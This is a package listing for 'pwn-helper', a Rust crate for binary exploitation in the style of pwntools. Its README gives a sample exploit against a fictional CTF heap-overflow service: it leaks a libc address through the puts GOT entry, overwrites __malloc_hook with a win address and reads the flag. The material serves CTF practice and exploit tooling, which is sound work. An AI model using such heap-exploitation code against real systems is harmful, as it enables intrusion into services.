#byte #binary #helper #exploitation #io #pwn #decimal

pwn-helper

A crate to help with binary exploitation

1 unstable release

0.1.0 Jan 4, 2022

#4 in #pwn

MIT license

19KB
389 lines

Pwn-Helper

A Rust crate intended to help you with exploiting a program.

This is still very work in progress, feature requests/bug reports are appreciated.

Real life examples

Here is an example solution for a fictional full RELRO program that suffers from a glibc heap overflow:

use std::net::TcpStream;

use pwn_helper::{
    bytes::{bytes, concat_bytes, ljust},
    io::{PwnIoRead, PwnIoWrite},
    numbers::{decimal, p64, u64},
};

const WIN_ADDR: u64 = 0x69420;
const GOT_PUTS_ADDR: u64 = 0x92c08;
const DYN_LIBC_PUTS_ADDR: u64 = 0x666c0;
const DYN_LIBC_MALLOC_HOOK_ADDR: u64 = 0x396650;

fn buy_item(remote: &mut TcpStream, item_index: u8) {
    remote.receive_until(b"> ", false).unwrap();
    remote.send_line(b"buy").unwrap();
    remote.receive_until(b": ", false).unwrap();
    remote.send_line(decimal(item_index).as_bytes()).unwrap();
}

fn rename_item(remote: &mut TcpStream, old_name: &[u8], new_name: &[u8]) {
    remote.receive_until(b"> ", false).unwrap();
    remote.send_line(b"rename").unwrap();
    remote.receive_until(b": ", false).unwrap();
    remote.send_line(old_name).unwrap();
    remote.receive_until(b": ", false).unwrap();
    remote.send_line(new_name).unwrap();
}

fn list_items(remote: &mut TcpStream) -> Vec<Vec<u8>> {
    remote.receive_until(b"> ", false).unwrap();
    remote.send_line(b"list").unwrap();
    remote.receive_until(b":\n", false).unwrap();
    let mut line = remote.receive_line(true).unwrap();
    let mut out = Vec::new();

    while line.starts_with(b"Item: ") {
        out.push(line[6..].to_owned());
        line = remote.receive_line(false).unwrap();
    }

    out
}

fn main() {
    let mut remote = TcpStream::connect("some.vulnerable.server:42069").unwrap();

    buy_item(&mut remote, 1);
    buy_item(&mut remote, 3);

    rename_item(&mut remote, b"Sword", bytes!(b'A' * 0x29));
    rename_item(
        &mut remote,
        b"AAAA",
        &concat_bytes(
            bytes!(b'A' * 0x20),
            &p64(GOT_PUTS_ADDR, pwn_helper::Endianness::Little),
        ),
    );

    let names = list_items(&mut remote);

    let libc_puts_addr = u64(&ljust(&names[1], 0, 8), pwn_helper::Endianness::Little);
    let libc_base = libc_puts_addr - DYN_LIBC_PUTS_ADDR;
    log::info!("Libc Base: {:#x}", libc_base);

    let libc_malloc_hook_addr = libc_base + DYN_LIBC_MALLOC_HOOK_ADDR;
    rename_item(&mut remote, &names[0], b"AA");
    rename_item(&mut remote, b"AA", bytes!(b'A' * 0x29));
    rename_item(
        &mut remote,
        b"A",
        &concat_bytes(
            bytes!(b'A' * 0x20),
            &p64(libc_malloc_hook_addr, pwn_helper::Endianness::Little),
        ),
    );

    // Malloc hook will currently be a NULL ptr
    rename_item(
        &mut remote,
        b"",
        &p64(WIN_ADDR, pwn_helper::Endianness::Little),
    );
    remote.receive_until(b"> ", false).unwrap();

    let flag = String::from_utf8(remote.receive_until(b"}", false).unwrap()).unwrap();
    println!("Flag: {}", flag);
}

Others

License

This crate is licensed under MIT, the license is here

Credits

  • pwntools - Insipration for making this

Dependencies

~0.3–0.8MB
~20K SLoC